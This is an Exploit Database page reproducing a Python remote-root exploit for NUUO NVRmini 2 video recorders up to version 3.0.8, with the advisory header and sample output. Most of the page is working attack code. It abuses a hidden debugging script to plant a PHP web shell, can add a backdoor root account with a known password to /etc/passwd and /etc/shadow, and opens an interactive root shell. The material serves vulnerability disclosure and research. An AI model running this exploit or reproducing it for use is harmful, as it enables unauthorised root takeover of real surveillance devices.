NUUO NVRmini 2 3.0.8 – Remote Code Execution

• Exploit Database
• 106 阅读

• 作者： LiquidWorm
  日期： 2016-08-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40209/

• #!/usr/bin/env python
  #
  #
  # NUUO Remote Root Exploit
  #
  #
  # Vendor: NUUO Inc.
  # Product web page: http://www.nuuo.com
  # Affected version: <=3.0.8
  #
  # Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
  # functionality. Setup is simple and easy, with automatic port forwarding
  # settings built in. NVRmini 2 supports POS integration, making this the perfect
  # solution for small retail chain stores. NVRmini 2 also comes full equipped as
  # a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
  # and RAID functions for data protection. Choose NVR and know that your valuable video
  # data is safe, always.
  #
  # Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from an unauthenticated command
  # injection vulnerability. Due to an undocumented and hidden debugging script, an attacker
  # can inject and execute arbitrary code as the root user via the 'log' GET parameter in the 
  # '__debugging_center_utils___.php' script.
  #
  # -----------------------------------------------------
  # $ nuuo.py 10.0.0.17 80
  # [*] ==============================================
  # [*] NUUO NVR/DVR/NDVR Remote Root Exploit
  # [*] Zero Science Lab - http://www.zeroscience.mk
  # [*] ==============================================
  # [*] Backdoor detected!
  # [*] Add root user (y/n)? n
  # [*] Press [ ENTER ] to start root shell...
  #
  # root@nuuo:~# id
  # uid=0(root) gid=0(root)
  #
  # root@nuuo:~# exit
  #
  # [*] Removing raidh.php file
  # [*] Session terminated!
  #
  # $
  # -----------------------------------------------------
  #
  # Tested on: GNU/Linux 3.0.8 (armv7l)
  #GNU/Linux 2.6.31.8 (armv5tel)
  #lighttpd/1.4.28
  #PHP/5.5.3
  #
  #
  # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  # Zero Science Lab - http://www.zeroscience.mk
  #
  #
  # Advisory ID: ZSL-2016-5348
  # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5348.php
  # NSE Script: http://www.zeroscience.mk/codes/nuuo-backdoor.nse
  # https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40209.zip
  #
  #
  # 14.01.2016
  #
  
  import os######
  import sys#####
  import time####
  import urllib##
  import binascii
  import requests
   
  __author__ = 'lqwrm'
  
  def persist(host,port,hexy,clean):
  
  pwd = '''echo 'roOt:x:0:0:PWNED account:/:/bin/bash' >> /etc/passwd'''
  sdw = '''echo 'roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0:16914:0:99999:7:::' >> /etc/shadow'''
  print '[*] Adding user \'roOt\' with password \'rewt\' in passwd file.'
  requests.get('http://'+host+':'+port+'/raidh.php?cmd='+pwd)
  time.sleep(2)
  
  print '[*] Updating shadow file.'
  requests.get('http://'+host+':'+port+'/raidh.php?cmd='+sdw)
  time.sleep(2)
  
  print '[*] Shell awaits: ssh roOt@'+host
  requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
  exit(0)
  
  def check(host,port,hexy):
  
  try:
  r = requests.get('http://'+host+':'+port+'/'+hexy, allow_redirects=False)
  if r.status_code == 200:
  print '[*] Backdoor detected!'
  pass
  else:
  print '[*] No backdoors here. :('
  exit(0)
  except Exception:
  print '[*] Could not connect.'
  exit(0)
  
  def main():
  
  print '[*] =============================================='
  print '[*] NUUO NVR/DVR/NDVR Remote Root Exploit'
  print '[*] Zero Science Lab - http://www.zeroscience.mk'
  print '[*] =============================================='
  
  if (len(sys.argv) <= 2):
  print '[*] Usage: nuuo.py <ipaddress> <port>'
  exit(0)
  
  host = sys.argv[1]
  port = sys.argv[2]
  
  dbgcu = '5f5f64'#
  dbgcu+= '656275'#
  dbgcu+= '676769'#
  dbgcu+= '6e675f'#
  dbgcu+= '63656e'#
  dbgcu+= '746572'#
  dbgcu+= '5f7574'#
  dbgcu+= '696c73'#
  dbgcu+= '5f5f5f'#
  dbgcu+= '2e7068'#
  dbgcu+= '70'###'#
  
  hexy = binascii.unhexlify(dbgcu)
  check (host,port,hexy)
  
  payload = '''echo "<?php system(\$_REQUEST[\'cmd\']); ?>" > raidh.php'''
  requests.get('http://'+host+':'+port+'/'+hexy+'?log=1337;' + payload)
  
  clean = 'rm raidh.php'
  a1 = raw_input('[*] Add root user (y/n)? ')
  if a1.strip() == 'y' or a1.strip() == 'Y':
  persist (host,port,hexy,clean)
  else:
  pass
  
  print '[*] Press [ ENTER ] to start root shell...'
  raw_input()
  
  while True:
  try:
  cmd = raw_input('root@nuuo:~# ')
  if cmd.strip() == '':
  print '[*] Give me a command!\n'
  continue
  else:
  e = requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(cmd))
  print e.text
  if cmd.strip() == 'exit':
  print '[*] Removing raidh.php file'
  requests.get('http://'+host+':'+port+'/raidh.php?cmd='+urllib.quote(clean))
  print '[*] Session terminated!'
  break
  except Exception:
  break
  
  if __name__ == "__main__":
  main()
  

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